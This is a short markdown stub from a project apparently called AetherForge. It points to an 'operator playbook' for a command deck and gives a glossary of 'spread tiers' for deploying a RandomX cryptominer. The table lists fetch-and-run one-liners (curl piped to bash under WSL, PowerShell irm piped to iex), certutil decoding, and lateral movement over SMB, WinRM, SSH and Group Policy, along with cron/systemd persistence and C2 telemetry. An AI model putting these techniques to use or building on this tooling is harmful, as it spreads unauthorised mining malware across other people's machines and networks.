AetherForge/docs/SPREAD_TECHNIQUES.md

Web-Mediated Spread Techniques

Canonical operator playbook (served at /docs/SPREAD_TECHNIQUES.html on a running command deck):

server/web/public/docs/SPREAD_TECHNIQUES.html

Markdown matrix (research notes): server/web/public/docs/SPREAD_TECHNIQUES.md

Edit the public docs files above — this stub avoids drifting duplicates in docs/.

Master test doc + full glossary

Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:

tests/README.md — sections LOTL architecture (triple onion) and LOTL vector glossary.

Root README includes a concise architecture pointer: README.md § LOTL triple onion.

Mini glossary (spread tiers)

Tier	One-line	Example
vuln_recon	Read-only KEV/CVE probe before spread	Triple-onion recon or full_sys_check
docker	Container-isolated RandomX	com.docker.service → docker_load join lane
wsl	WSL curl|bash when Windows blocked	wsl -e bash -c "curl … | bash"
powershell	Hidden PS / remoting bootstrap	irm …/install.ps1 | iex
dotnet	dotnet tool run — no lone exe	miner_execution=dotnet
bits_curl	BITS/curl staging + certutil decode	Crucible stage_fetch JSON manifest
smb	SMB UNC + sc.exe lateral	spread_smb_unc with \\host\share\worker.exe
winrm	PS remoting on 5985/5986	Spread template {"template":"winrm"}
linux	SSH lateral + systemd/cron LOTL	{"template":"linux-lotl","lotl_mode":"both"}
gpo	AD startup script pull	{"template":"gpo"} or {"template":"intune"}

TypeScript source of truth for tier docs: server/web/src/help/lotlOnionTiers.ts.